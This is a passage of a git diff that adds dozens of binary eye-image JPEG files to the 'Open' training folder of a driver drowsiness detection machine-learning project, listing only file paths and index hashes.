b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_128.jpg new file mode 100644 index 00000000..0bb9bdaf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_128.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_13.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_13.jpg new file mode 100644 index 00000000..afdd26a8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_13.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_131.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_131.jpg new file mode 100644 index 00000000..c2a1d87f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_131.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_133.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_133.jpg new file mode 100644 index 00000000..43f1ceed Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_133.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_134.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_134.jpg new file mode 100644 index 00000000..afe37bf8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_134.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_135.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_135.jpg new file mode 100644 index 00000000..8025d0ed Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_135.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_136.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_136.jpg new file mode 100644 index 00000000..c29ce0cc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_136.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_138.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_138.jpg new file mode 100644 index 00000000..1d6f24d2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_138.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_139.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_139.jpg new file mode 100644 index 00000000..afae04cc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_139.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_140.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_140.jpg new file mode 100644 index 00000000..61423f07 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_140.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_141.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_141.jpg new file mode 100644 index 00000000..c1e828c3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_141.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_142.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_142.jpg new file mode 100644 index 00000000..749c5d56 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_142.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_143.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_143.jpg new file mode 100644 index 00000000..181dba49 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_143.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_144.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_144.jpg new file mode 100644 index 00000000..fcd41600 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_144.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_145.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_145.jpg new file mode 100644 index 00000000..96b24212 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_145.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_146.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_146.jpg new file mode 100644 index 00000000..8dbb3fea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_146.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_147.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_147.jpg new file mode 100644 index 00000000..db5e55f3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_147.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_149.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_149.jpg new file mode 100644 index 00000000..289ffb95 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_149.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_15.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_15.jpg new file mode 100644 index 00000000..1a864324 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_15.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_150.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_150.jpg new file mode 100644 index 00000000..8764d2a7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_150.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_151.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_151.jpg new file mode 100644 index 00000000..dfaf23c7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_151.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_153.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_153.jpg new file mode 100644 index 00000000..ec2bb80d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_153.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_154.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_154.jpg new file mode 100644 index 00000000..d4e38e3a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_154.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_155.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_155.jpg new file mode 100644 index 00000000..97e6eb08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_155.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_156.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_156.jpg new file mode 100644 index 00000000..63161303 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_156.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_157.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_157.jpg new file mode 100644 index 00000000..0886af2d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_157.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_158.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_158.jpg new file mode 100644 index 00000000..5234b9ac Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_158.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_16.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_16.jpg new file mode 100644 index 00000000..c4b4dc0c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_16.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_160.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_160.jpg new file mode 100644 index 00000000..20fe377b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_160.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_162.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_162.jpg new file mode 100644 index 00000000..af66ad1c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_162.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_165.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_165.jpg new file mode 100644 index 00000000..1a395e24 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_165.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_166.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_166.jpg new file mode 100644 index 00000000..17221917 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_166.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_17.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_17.jpg new file mode 100644 index 00000000..17faf2c5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_17.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_170.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_170.jpg new file mode 100644 index 00000000..20189d4a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_170.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_171.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_171.jpg new file mode 100644 index 00000000..9369994d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_171.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_173.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_173.jpg new file mode 100644 index 00000000..462f7b08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_173.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_174.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_174.jpg new file mode 100644 index 00000000..644292b3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_174.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_175.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_175.jpg new file mode 100644 index 00000000..942bf0f1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_175.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_176.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_176.jpg new file mode 100644 index 00000000..ce6ced1b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_176.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_177.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_177.jpg new file mode 100644 index 00000000..c66dacc4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_177.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_178.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_178.jpg new file mode 100644 index 00000000..9a18de06 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_178.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_179.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_179.jpg new file mode 100644 index 00000000..4b6acb08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_179.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_18.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_18.jpg new file mode 100644 index 00000000..ca054214 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_18.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_180.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_180.jpg new file mode 100644 index 00000000..3c59511a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_180.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_182.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_182.jpg new file mode 100644 index 00000000..feb4dcd7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_182.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_183.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_183.jpg new file mode 100644 index 00000000..44af2453 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_183.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_184.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_184.jpg new file mode 100644 index 00000000..0cf64c09 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_184.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_185.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_185.jpg new file mode 100644 index 00000000..d6d766a7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_185.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_186.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_186.jpg new file mode 100644 index 00000000..70e300bf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_186.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_187.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_187.jpg new file mode 100644 index 00000000..f3116244 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_187.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_188.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_188.jpg new file mode 100644 index 00000000..e59f2086 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_188.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_189.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_189.jpg new file mode 100644 index 00000000..d0ab1cd3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_189.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_19.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_19.jpg new file mode 100644 index 00000000..bb38ed59 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_19.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_190.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_190.jpg new file mode 100644 index 00000000..2af48f6d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_190.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_191.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_191.jpg new file mode 100644 index 00000000..189dedfd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_191.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_192.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_192.jpg new file mode 100644 index 00000000..3150676c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_192.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_193.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_193.jpg new file mode 100644 index 00000000..35c77ddd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_193.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_194.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_194.jpg new file mode 100644 index 00000000..1d9d7211 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_194.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_196.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_196.jpg new file mode 100644 index 00000000..88464976 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_196.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_198.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_198.jpg new file mode 100644 index 00000000..64359fcb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_198.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_199.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_199.jpg new file mode 100644 index 00000000..e37798ab Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_199.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_2.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_2.jpg new file mode 100644 index 00000000..77616a7b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_2.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_200.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_200.jpg new file mode 100644 index 00000000..eee1791b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_200.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_201.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_201.jpg new file mode 100644 index 00000000..c72a218d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_201.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_202.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_202.jpg new file mode 100644 index 00000000..faa4b5f7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_202.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_203.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_203.jpg new file mode 100644 index 00000000..d849ffe9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_203.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_204.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_204.jpg new file mode 100644 index 00000000..3bc35f31 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_204.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_205.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_205.jpg new file mode 100644 index 00000000..0366c00b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_205.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_206.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_206.jpg new file mode 100644 index 00000000..48ac59e4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_206.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_207.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_207.jpg new file mode 100644 index 00000000..85c8e8ec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_207.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_208.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_208.jpg new file mode 100644 index 00000000..5cfa8192 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_208.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_209.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_209.jpg new file mode 100644 index 00000000..6319cd46 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_209.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_21.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_21.jpg new file mode 100644 index 00000000..878ddd33 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_21.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_210.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_210.jpg new file mode 100644 index 00000000..f40b7e9c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_210.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_212.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_212.jpg new file mode 100644 index 00000000..c7edfe98 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_212.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_213.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_213.jpg new file mode 100644 index 00000000..e1742b29 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_213.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_215.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_215.jpg new file mode 100644 index 00000000..5d69225e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_215.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_217.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_217.jpg new file mode 100644 index 00000000..41755405 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_217.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_218.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_218.jpg new file mode 100644 index 00000000..d7d36938 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_218.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_22.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_22.jpg new file mode 100644 index 00000000..ecb86b86 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_22.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_220.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_220.jpg new file mode 100644 index 00000000..af4a2dfd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_220.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_222.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_222.jpg new file mode 100644 index 00000000..b78bee63 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_222.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_223.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_223.jpg new file mode 100644 index 00000000..dd7f38ba Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_223.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_224.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_224.jpg new file mode 100644 index 00000000..d08da45c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_224.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_225.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_225.jpg new file mode 100644 index 00000000..879ddc9f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_225.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_227.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_227.jpg new file mode 100644 index 00000000..01e514fd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_227.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_228.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_228.jpg new file mode 100644 index 00000000..40e7f751 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_228.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_229.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_229.jpg new file mode 100644 index 00000000..33809b0d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_229.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_23.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_23.jpg new file mode 100644 index 00000000..2322e7d8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_23.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_230.jpg b/MachineLearning 